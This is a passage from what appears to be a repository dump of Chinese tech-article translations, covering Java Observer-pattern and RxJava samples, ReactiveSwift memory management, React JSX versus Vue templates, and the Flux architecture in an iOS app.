= new Tutorial(\"Hafiz 4\", \"........\");\n        Tutorial.publish(android4);\n\n    }\n\n        private static void polling(){\n\n        Polling polling = new Polling();\n        Timer timer = new Timer();\n        timer.schedule(polling, 0,1000);\n\n    }\n\n    public static class Polling extends TimerTask{\n\n        @Override\n        public void run() {\n            Tutorial android4 = new Tutorial(\"Hafiz 4\", \"........\");\n            Tutorial.publish(android4);\n        }\n    }\n\n    public static void sendEmail(List<User> userList){\n\n        for (User user : userList) {\n                // send email to user\n\n            System.out.println(\"Email send: \"+user.getName());\n        }\n    }\n\n    public static class User {\n\n        private String name;\n        private String email;\n\n        public User() {\n        }\n\n        public User(String name, String email) {\n            this.name = name;\n            this.email = email;\n        }\n\n        public String getName() {\n            return name;\n        }\n\n        public void setName(String name) {\n            this.name = name;\n        }\n\n        public String getEmail() {\n            return email;\n        }\n\n        public void setEmail(String email) {\n            this.email = email;\n        }\n    }\n\n    public static class Tutorial{\n\n        private String authorName;\n        private String post;\n        public Tutorial() {\n        }\n\n        public Tutorial(String authorName, String post) {\n            this.authorName = authorName;\n            this.post = post;\n        }\n\n        private static List<Tutorial> publishedTutorials = new ArrayList<>();\n        private static List<User> subscribedUsers = new ArrayList<>();\n\n        public static void addSubscribedUser(User user){\n            subscribedUsers.add(user);\n        }\n\n        public static void publish(Tutorial tutorial){\n            publishedTutorials.add(tutorial);\n            sendEmail(subscribedUsers);\n        }\n    }\n}\n```\n\n**专业/观察者模式方法：**\n\n```\nimport java.util.*;\n/**\n * Created by waleed on 04/02/2017.\n */\n\npublic class Main {\n\n    public static void main(String[] args){\n\n        Tutorial android1 = new Tutorial(\"Hafiz 1\", \"........\");\n        android1.publish();\n        Tutorial android2 = new Tutorial(\"Hafiz 2\", \"........\");\n        android2.publish();\n        Tutorial android3 = new Tutorial(\"Hafiz 3\", \"........\");\n        android3.publish();\n\n        // 我已经有三篇教程，稍后用户会订阅邮件\n        User A = new User(\"A\",\"a@a.com\");\n        User B = new User(\"B\",\"b@a.com\");\n        User C = new User(\"C\",\"c@a.com\");\n        User D = new User(\"D\",\"d@a.com\");\n\n        // 现在 A,C,D 点了订阅按钮\n\n        Tutorial.REGISTER_FOR_SUBSCRIPTION.register(A);\n        Tutorial.REGISTER_FOR_SUBSCRIPTION.register(C);\n        Tutorial.REGISTER_FOR_SUBSCRIPTION.register(D);\n\n        Tutorial android4 = new Tutorial(\"Hafiz 4\", \"........\");\n        android4.publish();\n\n    }\n\n    public static void sendEmail(User user){\n            System.out.println(\"Email send: \"+user.getName());\n    }\n\n    public static class User implements Observer{\n\n        private String name;\n        private String email;\n\n        public User() {\n        }\n\n        public User(String name, String email) {\n            this.name = name;\n            this.email = email;\n        }\n\n        public String getName() {\n            return name;\n        }\n\n        public void setName(String name) {\n            this.name = name;\n        }\n\n        public String getEmail() {\n            return email;\n        }\n\n        public void setEmail(String email) {\n            this.email = email;\n        }\n\n        @Override\n        public void notifyMe() {\n            sendEmail(this);\n        }\n    }\n\n    public static class Tutorial implements Observable{\n\n        private String authorName;\n        private String post;\n        private Tutorial() {}\n\n        public static Tutorial REGISTER_FOR_SUBSCRIPTION = new Tutorial();\n\n        public Tutorial(String authorName, String post) {\n            this.authorName = authorName;\n            this.post = post;\n        }\n\n        private static List<Observer> observers = new ArrayList<>();\n        @Override\n        public void register(Observer observer) {\n            observers.add(observer);\n        }\n\n        @Override\n        public void unregister(Observer observer) {\n            observers.remove(observer);\n        }\n\n        @Override\n        public void notifyAllAboutChange() {\n            for (Observer observer : observers) {\n                observer.notifyMe();\n            }\n        }\n\n        public void publish(){\n            notifyAllAboutChange();\n        }\n\n    }\n\n    public interface Observable{\n\n        void register(Observer observer);\n\n        void unregister(Observer observer);\n\n        // 新教程发布，通知所有订阅用户\n        void notifyAllAboutChange();\n\n    }\n\n    public interface Observer{\n\n        // 新教程发布\n        void notifyMe();\n    }\n}\n```\n\n**Rx 方法：（记住把 Rx 库整合到你的工程里）**\n\n```\nimport rx.*;\nimport rx.Observable;\nimport rx.Observer;\nimport rx.functions.Action;\nimport rx.functions.Action1;\nimport rx.observers.Observers;\n\nimport java.util.*;\n/**\n * Created by waleed on 04/02/2017.\n */\npublic class Main {\n\n    public static void main(String[] args){\n\n        Tutorial android1 = new Tutorial(\"Hafiz 1\", \"........\");\n        android1.publish();\n        Tutorial android2 = new Tutorial(\"Hafiz 2\", \"........\");\n        android2.publish();\n        Tutorial android3 = new Tutorial(\"Hafiz 3\", \"........\");\n        android3.publish();\n\n        // I have already three tutorials and later user subscribed for email\n        User A = new User(\"A\",\"a@a.com\");\n        User B = new User(\"B\",\"b@a.com\");\n        User C = new User(\"C\",\"c@a.com\");\n        User D = new User(\"D\",\"d@a.com\");\n\n        // Now A,C and D click subscribe button\n\n        Tutorial.REGISTER_FOR_SUBSCRIPTION.subscribe(A);\n        Tutorial.REGISTER_FOR_SUBSCRIPTION.subscribe(C);\n        Tutorial.REGISTER_FOR_SUBSCRIPTION.subscribe(D);\n\n        Tutorial android4 = new Tutorial(\"Hafiz 4\", \"........\");\n        android4.publish();\n\n    }\n\n    public static void sendEmail(User user){\n        System.out.println(\"Email send: \"+user.getName());\n    }\n\n    public static class User implements Action1{\n\n        private String name;\n        private String email;\n        public User() {}\n        public User(String name, String email) {\n            this.name = name;\n            this.email = email;\n        }\n        public String getName() {return name;}\n        public void setName(String name) {this.name = name;}\n        public String getEmail() {return email;}\n        public void setEmail(String email) {this.email = email;}\n\n        @Override\n        public void call(Object o) {\n            sendEmail(this);\n        }\n    }\n\n    public static class Tutorial {\n\n        private String authorName;\n        private String post;\n        private Tutorial() {}\n\n        public static rx.Observable REGISTER_FOR_SUBSCRIPTION = rx.Observable.just(new Tutorial());\n\n        public Tutorial(String authorName, String post) {\n            this.authorName = authorName;\n            this.post = post;\n        }\n\n        public void publish(){\n            REGISTER_FOR_SUBSCRIPTION.publish();\n        }\n\n    }\n\n}\n\n```\n"
  },
  {
    "path": "TODO/reactiveswift-manage-your-memory.md",
    "content": "> * 原文地址：[ReactiveSwift - Manage your memory!](https://eliaszsawicki.com/reactiveswift-manage-your-memory/)\n* 原文作者：[Eliasz Sawicki](https://eliaszsawicki.com/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：\n* 校对者：\n\n# ReactiveSwift - Manage your memory!\n\n\n\n\nMemory management is a pretty important issue when talking about any kind of system. You can’t pretend that your resources are unlimited, and give them out no matter what. When working with `ReactiveSwift` it’s really easy to fall into the pit of wasted resources if you don’t follow simple rules.\n\n## Disposables\n\nBasic unit that will help us handle our memory management, when working with `ReactiveSwift` is `disposable`. At the same time that you start observing `Signal`, or start any work with `Signal Producer`, you will gain access to such `Disposable`. If you are not interested in results that come through that `Signal`, you can simply call `.dispose()` method on that `disposable`, and you won’t receive updates any more. This also means, that as soon as `SignalProducer` notices, that nobody is interested in it’s results, it can stop it’s work and clean resources.\n\nIt’s common to free any resources when you exit a screen in your application. This means, that you should dispose all your `disposables` as well. Of course it would be hard to store each `disposable` in separate variable and dispose when you’re not interested in updates anymore. That’s why we can use a container for such `disposables` - `CompositeDisposable`. You can basically throw any `disposable` inside this container, and dispose all of them at once when your view controller deinitializes.\n\nLet’s take a look at how to work with disposables.\n\n\n\n    // public variable accessible from outside of class\n    var producer: SignalProducer\n\n    init() {  \n      producer = SignalProducer {[weak self] observer, compositeDisposable in\n          guard let strongSelf = self else { return }\n          compositeDisposable.add {\n              print(\"I've been disposed! I can clean my resources ;)\")\n          }\n\n          DispatchQueue.main.asyncAfter(deadline: .now() + 1, execute: {\n              if !compositeDisposable.isDisposed {\n                  strongSelf.performHeavyCalculation()\n                  observer.send(value: \"1\")\n              }\n          })\n          DispatchQueue.main.asyncAfter(deadline: .now() + 3, execute: {\n              if !compositeDisposable.isDisposed {\n                  strongSelf.performHeavyCalculation()\n                  observer.send(value: \"2\")\n              }\n          })\n      }\n\n      // If you have compositeDisposables variable, then you can add it there\n      // disposables += producer.startWithValues ...\n\n      // You keep received disposable in variable\n      let disposable = producer.startWithValues {[unowned self] (value) in\n          print(value)\n          self.performHeavyCalculation()\n      }\n\n      DispatchQueue.main.asyncAfter(deadline: .now() + 2) {\n          disposable.dispose() // After some time, you are not interested in producer's work, and you kindly tell him that\n      }\n    }\n\n\n\nWhat will happen here? Producer does not start it’s work until `startWithValues` is called. After that, we have to actions scheduled that will send us values `1` and `2`. They will also perform some heavy calculations. After two seconds, I decide that I’m not interested in any results, so I dispose received `disposable` and I will not receive any updates in `startWithValues` block anymore. However, work in producer has been already scheduled. That’s why I put the `if` statement checking if someone is still interested in producer’s work. If not, I will not perform that.\n\n\n\n    var disposables = CompositeDisposable()\n\n    disposables += viewModel.criticalInfo.observeValues {[unowned self] (value) in\n    // react to value\n    }\n\n    deinit {\n      disposables.dispose()\n    }\n\n\n\nIn this example, Let’s imagine that you create your `disposables` variable at the time you initialize your class. Then, when you start observing any signals, you add each `disposable` to your container. You can dispose them any time you want, but most often, you will do it at the time that you dealloc your controller, so you can add this code to `deinit`.\n\nYou may have noticed, that there are parts where are use `[weak self]` and `[unowned self]`. Let’s take a closer look at this!\n\n## Working with closures\n\nDisposables are one important thing that will lead you to memory management heaven. Next things that you have to remember about when working with ReactiveSwift is to manage relationships in closures that you pass to observers. When you do anything with a `self` variable in such closure, you create a retain cycle, as you hold strong reference to `self`. Controller holds a closure and closure holds controller. No way that they will be released any time soon. To have a weak reference to `self`, you can add `[weak self]` or `[unowned self]` to such closure. If you do not add one of those statements, your `disposables.dispose()` in `deinit` method will not be even reached, as controller will not be deinitialized.\n\n\n\n    // weak reference, but we bet that self will not be nil\n    disposables += signal.observe {[unowned self] values in\n      self.workWithMeAllTheTime()\n    }\n\n    // weak reference, but self becomes optional\n    disposables += signal.observe {[weak self] values in\n      guard let strongSelf = self else { return }\n      strongSelf.workWithMeAllTheTime()\n    }\n\n    ...\n\n    deinit {\n      disposable.dispose()\n    }\n\n\n\nWhat is the difference between `[weak self]` and `[unowned self]` you ask? When you use `[weak self]`, you tell your closure, that it is possible that `self` could be `nil` at some point. I usually put a `guard let` statement at the beginning of this kind of closure, so if `self` is nil, I don’t continue with any operations. On the other hand, we have `[unowned self]` that doesn’t tell us that `self` could be `nil` at some point. It’s on our side to take care of that and make sure that this block will not be called if `self` is deinitialized. If you properly take care of `disposables`, most often `[unowned self]` is a safe bet, as those closures will not be executed after deinitialization of `self`.\n\n## A note to first example\n\nLet’s get back to the code from first example. You can see, that I used a `[weak self]` for the `SignalProducer` and `[unowned self]` for the observer. Why did I do that?! When I start observing for values from producer in `startWithValues` closure, I’m pretty sure that I’ll call `dispose` when my controller deinits, so I know that `self` will be there if I need it. With given `SignalProducer` that’s a bit different. It is accessible from outside. Let’s imagine, that I’ve saved this producer at the time that this class was alive, and started it’s work after it was deinitialized. If I had `[unowned self]` there, then it would cause a crash. As long as I have `[weak self]`, at the beginning of my producer’s work I can check if `self` exists and If it doesn’t I can discontinue with any other work. If it does, I’ll create a reference to `self` and proceed with my work.\n\nThere are always edge cases, that may cause a headache when choosing between `unowned` and `weak`, but as the time goes, you’ll find it easier and easier to work with them! See you next time!\n\nThis article is cross-posted with my [my company blog](http://blog.brightinventions.pl/)\n\n\n\n"
  },
  {
    "path": "TODO/reacts-jsx-vs-vue-s-templates-a-showdown-on-the-front-end.md",
    "content": "> * 原文地址：[React’s JSX vs Vue’s templates: a showdown on the front end](https://medium.freecodecamp.com/reacts-jsx-vs-vue-s-templates-a-showdown-on-the-front-end-b00a70470409#.wbkkiga1e)\n* 原文作者：[Juan Vega](https://medium.freecodecamp.com/@juanmvega)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[ZhangFe](https://github.com/ZhangFe)\n* 校对者：[Tina92](https://github.com/Tina92)  [zhouzihanntu](https://github.com/zhouzihanntu)\n\n---\n\n# React JSX vs Vue 模板：前端界的一次对决\n![](https://cdn-images-1.medium.com/max/2000/1*QH4RGlNwXUFnJSytytvb6A.jpeg)\n\nReact.js 与 Vue.js 是地球上最受欢迎的两个 JavaScript 库。他们都非常强大并且相对容易上手和使用。\n\nReact 和 Vue 的共同点:\n\n- 使用虚拟 DOM\n- 提供响应式的视图组件\n- 保持对视图的关注\n\n伴随着如此多的相同点，你可能会怀疑它们就是同一个库的不同版本。\n\n不过这两个库有一个主要的区别：就是他们如何授权给你（开发者）创建你自己的视图组件，甚至是你的应用。\n\nReact 使用 JSX（由 React 小组创建的名词）在 DOM 中渲染内容。那么什么是 JSX ？实际上，JSX 是一个 JavaScript 渲染函数，它帮助你将你的 HTML 插入到你的 JavaScript 代码中。\n\nVue 采用了不同的方式，它使用的是类 HTML 模板。使用 Vue 的模板和使用 JSX 非常相似因为他们都是用 JavaScript 创建的。主要区别就是 JSX 函数永远不会在实际的 HTML 文件中使用，但 Vue 模板会。\n\n### **React JSX**\n\n让我们深入讨论一下 JSX 是如何工作的。假设你有一个你们公司最近招聘的新员工的姓名列表，并且你想在 DOM 中展示它。\n\n如果你使用简单的 HTML，你可能首先需要创建一个 index.html 文件，然后添加下面几行代码\n\n    <ul>\n\n      <li> John </li>\n\n      <li> Sarah </li>\n\n      <li> Kevin </li>\n\n      <li> Alice </li>\n\n    <ul>\n\n这里没什么特殊的，只是 HTML 代码。\n\n那么怎么使用 JSX 完成同样的事呢？第一步是创建另一个 index.html 文件。不过你只需要添加一个简单的 `div` 标签而不是像你之前做的那样添加完整的 HTML。这个 `div` 将成为渲染你的 React 代码的容器元素。 \n\n这个 `div` 需要有一个唯一的 ID 以便于 React 知道如何找到它。Facebook 往往青睐于用 root 关键字，所以我们也跟着这么做了。\n   \n    <div id=root></div>\n\n现在，到了最重要的一步。创建一个保存所有 React 代码的 JavaScript 文件。给这个命名为 app.js。\n\n现在，你只差一件最主要的事情，使用 JSX 将所有新招聘员工展示在 DOM 中。\n\n首先你需要创建一个包含新招聘员工姓名的数组\n\n    const names = [‘John’, ‘Sarah’, ‘Kevin’, ‘Alice’];\n\n之后创建一个 React 元素来动态渲染整个姓名列表。这里不需要手动地去展示每一个。\n\n    const displayNewHires = (\n\n      <ul>\n\n        {names.map(name => <li>{name}</li> )}\n\n      </ul>\n\n    );\n\n这里需要注意的关键点是你不需要创建单个的 `<li>` 元素。你只需要描述你希望他们每个是如何展示的，React 将处理剩下的事情。这是一个非常强大的功能。毕竟这里你只有几个名字，想想如果你有一个成千上万的列表呢！尤其是当 `<li>` 元素比这里使用到的更复杂时，你将发现这是一个很好的方法。\n\n将内容呈现到屏幕上所需要的最后一点代码是 ReactDom 的 render 函数。\n\n    ReactDOM.render(\n\n      displayNewHires,\n\n      document.getElementById(‘root’)\n\n    );\n\n这里你告诉 React 将 `displayNewHires` 里的内容渲染到 ID 为 root的 `div` 元素中。\n\n你最终的 React 代码应该看起来像这样：\n\n    const names = [‘John’, ‘Sarah’, ‘Kevin’, ‘Alice’];\n\n    const displayNewHires = (\n\n      <ul>\n\n        {names.map(name => <li>{name}</li> )}\n\n      </ul>\n\n    );\n\n    ReactDOM.render(\n\n      displayNewHires,\n\n      document.getElementById(‘root’)\n\n    );\n\n请记住一个关键点，这里全部都是 React 代码。这意味着它将全部编译成简单的旧的 JavaScript 。这里是它最终看起来的样子：\n\n    ‘use strict’;\n\n    var names = [‘John’, ‘Sarah’, ‘Kevin’, ‘Alice’];\n\n    var displayNewHires = React.createElement(\n\n      ‘ul’,\n\n      null,\n\n      names.map(function (name) {\n\n        return React.createElement(\n\n          ‘li’,\n\n          null,\n\n          name\n\n        );\n\n      })\n\n    );\n\n    ReactDOM.render(displayNewHires, document.getElementById(‘root’));\n\n这里就是全部的代码了。你现在有一个简单的 React 应用来展示一个姓名列表。没什么可详述的，但是它应该已经让你粗略的看到了 React 的能力。\n\n### **Vue.js 模板**\n\n与上个例子一样，你要再创建一个在浏览器中展示姓名列表的简单应用。\n\n你要做的第一件事是创建一个空的 index.html。在这个文件里你再创建一个 id 为 root 的空 `div`。但请记住 root 只是个人喜好，你可以使用任何你喜欢的 id，只要确保之后你把 html 同步到你的 JavaScript 代码时这个 id 可以匹配上。\n\n这个 div 的功能与在 React 中一样。它将告诉 JavaScript 库（在这里指的是 Vue）当它想要进行更改时在哪里可以查找到这个 DOM。\n\n完成这步之后，继续创建一个包含全部 Vue 代码的 JavaScript 文件。为了保持一致，将它命名为 app.js。\n\n现在你已经准备好了你的文件。让我们看看 Vue 是如何在浏览器中展示元素的。\n\nVue 使用类似于模板的方法来操作 DOM。这意味着像 React 一样，你的 HTML 文件不会仅仅只有一个空的 `div`。实际上你要在你的 HTML 文件中编写一部分代码。\n\n为了给你一个更好的思路，回想一下用简单的 HTML 是如何创建一个姓名列表的。就是在一个 `<ul>` 元素里添加几个 `<li>` 元素。在 Vue 里，你将做几乎完全相同的事，只不过增加了一点变化。\n\n创建一个 `<ul>` 元素。\n\n    <ul>\n\n    </ul>\n\n现在在 `<ul>` 元素里添加一个空的 `<li>` 元素。\n \n    <ul>\n\n      <li>\n\n      </li>\n\n    </ul>\n\n这不是什么新内容。通过给你的 `<li>` 元素添加一个指令 (一个 Vue 的自定义属性) 来做一些改变。\n\n    <ul>\n\n      <li v-for=’name in listOfNames’>\n\n      </li>\n\n    </ul>\n\n指令是 Vue 将 JavaScript 的功能直接添加到 HTML 上的方式。他们都以 v- 开头并且跟上一些描述性的名字以便于你知道他们的功能。在这个例子里，它是一个 for 循环。对于你的姓名列表 `listOfNames` 里的每一个名字，你都要复制这个 `<li>` 元素并将其替换成一个新的包含姓名的 `<li>`。\n\n现在，代码还差最后一步。目前，它为你的列表里的每个姓名展示一个 `<li>` 元素，但你实际上并没有告诉它在浏览器上显示实际的名字。为了完成这个，你需要在你的 `<li>` 元素里添加一些 mustache 语法。你可能在其他一些 JavaScript 库中看到过。\n\n    <ul>\n\n      <li v-for=’name in listOfNames’>\n\n        {{name}}\n\n      </li>\n\n    </ul>\n\n现在 `<li>` 元素已完成。它将展示 listOfNames 这个列表里的每个元素。请记住 **name** 这个单词是任意的。你也可以叫它 **item**，但是它的目的是相同的。所有的关键字所做的只是一个占位符并且将被用于遍历列表。\n\n你要做的最后一件事是创建一个数据集并且在您的应用中实例化 Vue。\n\n为了完成这个，你需要创建一个新的 Vue 实例。通过将它分配给一个名为 app 的变量来实例化它。\n\n    let app = new Vue({\n\n    });\n\n现在，这个对象需要接收几个参数。第一个参数 `el` (element) 是最重要的，它告诉 Vue 从哪开始向 DOM 里添加内容。就像你在 React 的例子里做的那样。\n\n    let app = new Vue({\n\n      el:’#root’,\n\n    });\n\n最后一步是给 Vue 应用添加数据。在 Vue 里，所有传递给应用的数据都会像这样作为参数传递给 Vue 实例。并且，对于每种类型的参数，每个 Vue 实例里只能有一个。虽然有很多参数类型，在这个例子里你只需要关注两个，`el` 和 `data`。\n\n    let app = new Vue({\n\n      el:’#root’,\n\n      data: {\n\n        listOfNames: [‘Kevin’, ‘John’, ‘Sarah’, ‘Alice’]\n\n      }\n\n    });\n\ndata 对象将要接收一个名为 `listOfNames` 的数组。现在，无论何时要在应用程序中使用该数据集，只需要使用指令调用它，很简单，对吧？\n\n这里是完整的应用：\n\n#### **HTML**\n\n    <div id=”root”>\n\n      <ul>\n\n        <li v-for=’name in listOfNames’>\n\n          {{name}}\n\n        </li>\n\n      </ul>\n\n    </div>\n\n#### **JavaScript**\n\n    new Vue({\n\n      el:”#root”,\n\n      data: {\n\n        listOfNames: [‘Kevin’, ‘John’, ‘Sarah’, ‘Alice’]\n\n      }\n\n    });\n\n### **结论**\n\n现在你知道如何使用 React 和 Vue 创建两个简单的应用了。他们都提供了大量的功能，不过 Vue 往往更容易使用一些。并且，请一定记住，尽管 JSX 不是 Vue 首选的实现方法，但在 Vue 中也是被允许使用的。\n\n无论哪种方式，这两个都是非常强大的库并且无论你选谁都不会错。\n\n"
  },
  {
    "path": "TODO/real-world-flux-ios.md",
    "content": "> * 原文链接 : [real-world-flux-ios](http://blog.benjamin-encz.de/post/real-world-flux-ios/)\n> * 原文作者 : [Benjamin Encz](http://blog.benjamin-encz.de/about)\n> * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者 : [Nicolas(Yifei) Li](https://github.com/yifili09) \n> * 校对者: [rccoder](https://github.com/rccoder), [Gran](https://github.com/Graning)\n\n# iOS 开发中的 Flux 架构模式\n\n在半年前，我开始在 `PlanGrid` iOS 应用程序中采用 `Flux` 架构（开发）。这篇文章将会讨论我们从传统的 `MVC` 转换到 `Flux`的动机，同时分享我们目前积累到的经验。\n\n我尝试通过讨论代码来描述我们大部分的 `Flux` 实现， 它用于我们今天的产品中。 如果你只对综合结果感兴趣， 请跳过这篇文章的中间部分。\n\n## 为什么从 `MVC` 转移\n\n为了引入我们的决定， 我想要先谈一谈 `PlanGrid` 这个应用遇到的一些挑战。一些问题仅针对企业级应用程序，其他应该适用于大部分的 `iOS` 应用程序。\n\n### 我们有所有的状态\n\n`PlanGrid` 是一个相当复杂的 `iOS` 应用程序。它允许用户能看到（设计）蓝图并且可以使用不同类型的（标记) 注释，问题和附件（和很多其他特定工业需要的知识）。\n\n一个重要的方面是， 这个应用程序（可以）先离线使用。无论是否有英特网连接，用户可以使用所有应用程序提供的特性。这意味着我们需要在客户端存储许多数据和状态。我们也需要实施一些本地的业务规则（例如，一个注释是否可以被用户删除？）。 \n\n`PlanGrid` 可以在 `iPad` 和 `iPhone` 平台上运行，但他的 `UI` 被优化过，可以充分使用平板的屏幕。这意味着不像其他 `iPhone` 应用程序，我们常常同时展现多个视图控制器。这些视图控制器常常（互相）共享着相当多的状态。\n\n### 状态管理器\n\n所有的这些意味着，我们的应用程序花在状态管理上费了很多努力。任何应用程序结果的变化或多或少都和以下几点相关：\n\n1. 更新本地对象的状态。\n2. 更新 `UI`。\n3. 更新数据库。\n4. 用队列保存变化，它将在有网络连接的情况下发送给服务器。\n5. **当状态改变时，通知其他对象**\n\n尽管我计划在之后的文章中（更新）包含我们新架构中其他的部分，我今天想把精力集中在第5个\\. _我们怎么在应用程序中构成状态更新（机制）？_ \n\n这是我们应用程序开发中至关重要的问题（价值十亿美元 :moneybag:）。\n\n大多数 `iOS` 的工程师，包括 `PlanGrid` 应用程序早些时候的开发者们，想出了以下答案： \n\n* 代理机制 (`Delegation`)\n* 键值观察策略 （`KVO`）\n* 通知中心 （`NSNotificationCenter`）\n* 回调代码块 （`Callback Blocks`）\n* 使用数据库作为来源 （`Using the DB as source of truth`）\n\n所有这些实现都在不同的情况下有效。然而，这些不同的操作是来源于很多在由发展多年以来的很大的代码库中的不一致。\n\n### 自由是危险的\n\n经典的 `MVC` 只提倡分离数据和它的展示层。在缺少其他结构性的指导下，剩下的东西都由个别开发者们决定。\n\n很长一段时间 `PlanGrid` 应用程序（像其他 `iOS` 应用程序）都没有一个定义好的模式去管理状态。\n\n很多现存的状态管理工具，例如 `delegation` 和 `blocks` 常常去在组件中创建强连接（依赖），这并不令人满意 - 两个视图控制器迅速变得强耦合，在尝试互相分享更新的状态时。\n\n其他工具，例如，`KVO` 和 `通知`， 创建无形的（程序）依赖。将他们使用在大型的代码库中，会迅速导致代码的变化，引起不可预期的副作用。对于一个控制器来说，想观察到那些本不需要关心的数据模型层的细节实在是太容易了。\n\n完整的代码审阅和样式指导的作用有限，许多架构上的问题都从很小的不一致性开始并且花很长的时间扩展到许多严重的问题。使用意义清晰明确的模式替换，这将会很容易尽早发现差异。\n\n### 状态管理的一种架构的模式\n\n在重构 `PlanGrid` 应用程序期间，我们最重要的目标是，采用一个清晰的模式和（创造）最佳实现方式。这样允许未来的新特性能以更加一致的方式写入代码库，也让更多新进的工程师提高工作效率。\n\n在我们的应用程序中，状态管理是复杂度比较大的代码源之一，所以我们决定去定义一个模式，所有新的特性都会按照这个模式更好的前进。\n\n在遭遇了很多我们代码中的痛苦后，更加让我们相信，那些 `Facebook` (脸书) 在第一次提出 `Flux` 模式是偶提出的问题：\n\n* 不可预见性，联级状态更新\n* 很难在（多个）组件中明白（互相）依赖关系\n* 复杂的信息流程\n* 不清晰的真实来源\n\n看上去 `Flux` 将会非常适合解决很多我们现在遇到的问题。\n\n## `Flux` 的简单概要\n\n`Flux` 是一个轻量级的架构的模式，它被 `Facebook` (脸书) 用在客户端的网页应用程序中。虽然有一个 [参考的演示程序](https://github.com/facebook/flux)，`Facebook` (脸书) 强调说，`Flux` 模式的想法有比这个单独实现更多的想法（内容）。\n\n这个模式能被下图很好的诠释，它展示了不同的 `Flux` 组件：\n\n![](https://raw.githubusercontent.com/Ben-G/Website/master/static/assets/flux-post/Flux_Original.png)\n\n在 `Flux` 架构中，`store` 是应用程序某一个部分的单一真实来源。无论 `store` 中的状态何时更新，它都将发送一个变更事件给所有订阅这个 `store` （通知/消息）的视图。\n\n状态更新（事件）只会通过 `actions` 产生。\n\n一个 `action` 描述了一个预期的状态的变化，但它不自己实现状态的改变。所有想要改变状态的组件，都要发送一个 `action` 给全局的 `dispatcher`。每当一个 `action` 被分发，所有有关系的 `store` 都会收到它。\n\n作为对 `actions` 的响应，`stores` 会更新他们的状态并且通知和这些视图有关这个新的状态。\n\n在上图显示了，`Flux` 架构实施的一个单向的数据流。它对以下几个点严格区分：\n\n* 视图只会从 `stores` 接收数据。每当 `store` 更新的时候，在视图上的处理方法会被调用。\n* 视图只会通过分发的 `actions` 改变状态。 因为 `actions` 只描述意图，业务逻辑从视图里隐去了。\n* `store` 只会更新它的状态，当它接收到 `action`的时候。\n\n这些限制使得设计，开发和调试一些新的特性变得更加容易。\n\n## `Flux` 在 `PlanGrid iOS` 中的使用\n\n我们在 `PlanGrid iOS` 应用程序上的实现和 `Flux` （官方提供的）参考程序有些不同。我们为每一个 `store` 实施了一个看得见的 `state` 属性。不像原生的 `Flux` 实现方式，当 `store` 有更新的时候，我们不发送变更通知。而是视图观察 `store` 中的 `state` 属性。每当视图观察到 `state` 属性有变化，他们按照下图响应（变化）:\n\n![](https://raw.githubusercontent.com/Ben-G/Website/master/static/assets/flux-post/Flux.png)\n\n对于 `Flux` 参考程序仅有细微的差别，但是提到这个有助于下来部分（的理解）。\n\n有了对 `Flux` 架构的基本认识，让我们看看更多实现的细节，和一些当在 `PlanGrid` 应用程序中实现 `Flux` 架构，我们需要去回答的问题。\n\n### 什么是 `Store` 的作用域？\n\n（去定义）每一个 `store` 的作用域是一个非常又去的问题，每当使用 `Flux` 模式的时候会经常发生。\n\n由于 `Facebook` (脸书) 发布了 `Flux` 模式，不同的社区开发出了不同的版本。有一个叫做 `Redux`，通过迭代 `Flux` 实施了每一个应用程序应该只有一个 `store`。这个 `store` 存储了整个应用程序的状态（有很多其他，细微，不同的其他作用域的文章。）\n\n`Redux` 很受大众欢迎，因为这个单个 `store` 的实现方式将大大简化很多应用程序的架构。在传统的　`Flux`，有多个 `stores`，应用程序将会遭遇这个情况，当他们需要结合的状态，它被存储在了一个其他的 `store`中，为了去渲染某一个视图。这个实现常常重现 `Flux` 模式尝试去解决的问题，例如在应用程序中多个组件的复杂依赖。\n\n对　`PlanGird`　来说，我们决定使用传统 `Flux`　而非使用 `Redux`。我们不确定怎么将单个 `store`　存储整个应用程序的状态实现到这个庞大的应用程序中。未来，我们认为，我们将使用非常少的内部存储依赖，让 `Redux` 作为一个可选项来说变得不那么重要了。　　\n\n**我们已经总结出一个硬性规定有关单独 `store` 的作用域。**\n\n目前，在我们的代码库中，我能识别出的两个模式:\n\n* **特性／视图特定的存储:** 每一个视图控制器（或者每一个相关联的视图控制器）收到它自己的 `store`。这个 `store`　模仿了视图独特的状态。　\n* **共享状态的 `stores`:** 我们有 `stores`　存储和管理状态，被很多视图共享。我们尝试保持这些 `stores`　很小的数量。`IssueStore`　就是一个这样的一个 `store`。它负责管理所有问题，在当前选中的设计蓝图中可见的状态。这些形式的 `stores` 本质上来说一个实时更新的数据库查询。\n\n我们目前在实现我们第一个_共享形状态 stores_ 的过程中，并且正在决定基于这些 `stores` 类型，模拟不同视图依赖最好的方式。\n\n### 使用 `Flux` 模式实现一个特性\n\n让我们深入观察下构成 `Flux`　模式特性的细节。\n\n作为贯穿下几个部分的例子，我们将使用 `PlanGrid`　应用程序产品中的一个特性。这个特性允许用户过滤设计蓝图中的注释: \n\n![](https://raw.githubusercontent.com/Ben-G/Website/master/static/assets/flux-post/filter_screenshot.png)\n\n我们讨论的特性是截图上左边展示出的弹出框。\n\n#### 第一步：　定义状态\n\n一般来说，我实现一个特性，都由通过决定与其相关的状态开始。这个状态展示了 `UI` 需要了解的所有东西，为了渲染某一个特性。\n\n让我们深入我们的例子，看看过滤注释特性的状态\n\n\n```\n    struct AnnotationFilterState {\n      let hideEverythingFilter: RepresentableAnnotationFilter\n      let shareStatusFilters: [RepresentableAnnotationFilter]\n      let issueFilters: [RepresentableAnnotationFilter]\n      let generalFilters: [RepresentableAnnotationFilter]\n\n      var selectedFilterGroup: AnnotationFilterGroupType? = nil\n      /// Indicates whether any filter is active right now\n      var isFiltering: Bool = false\n    }\n```\n\n\n这个状态有一揽子的过滤器, 一个当前选择的过滤器组和一个布尔值标记，显示了过滤器是否是活动的。\n\n这个状态为 `UI` 需求定做。这一揽子过滤器用表视图渲染。这个被选择的过滤器组用于显示／隐藏每一个单独的过滤器组的细节。`isFiltering`标记被用于决定去消除所有过滤器的按钮是否被在 `UI` 中启用和关闭。\n\n#### 第二步: 定义 `Actions`\n\n在决定了某一个特性状态的模型之后，我常常在下一步考虑不同的状态变换。在 `Flux` 架构中，状态的变换以 `actions` 形式模拟，描述了什么样的改变是预期的。对于注释过滤器特性，这一揽子 `actions` 很段:\n\n\n```\n    struct AnnotationFilteringActions {\n\n      /// Enables/disables a filter.\n      struct ToggleFilterAction: AnyAction {\n        let filter: 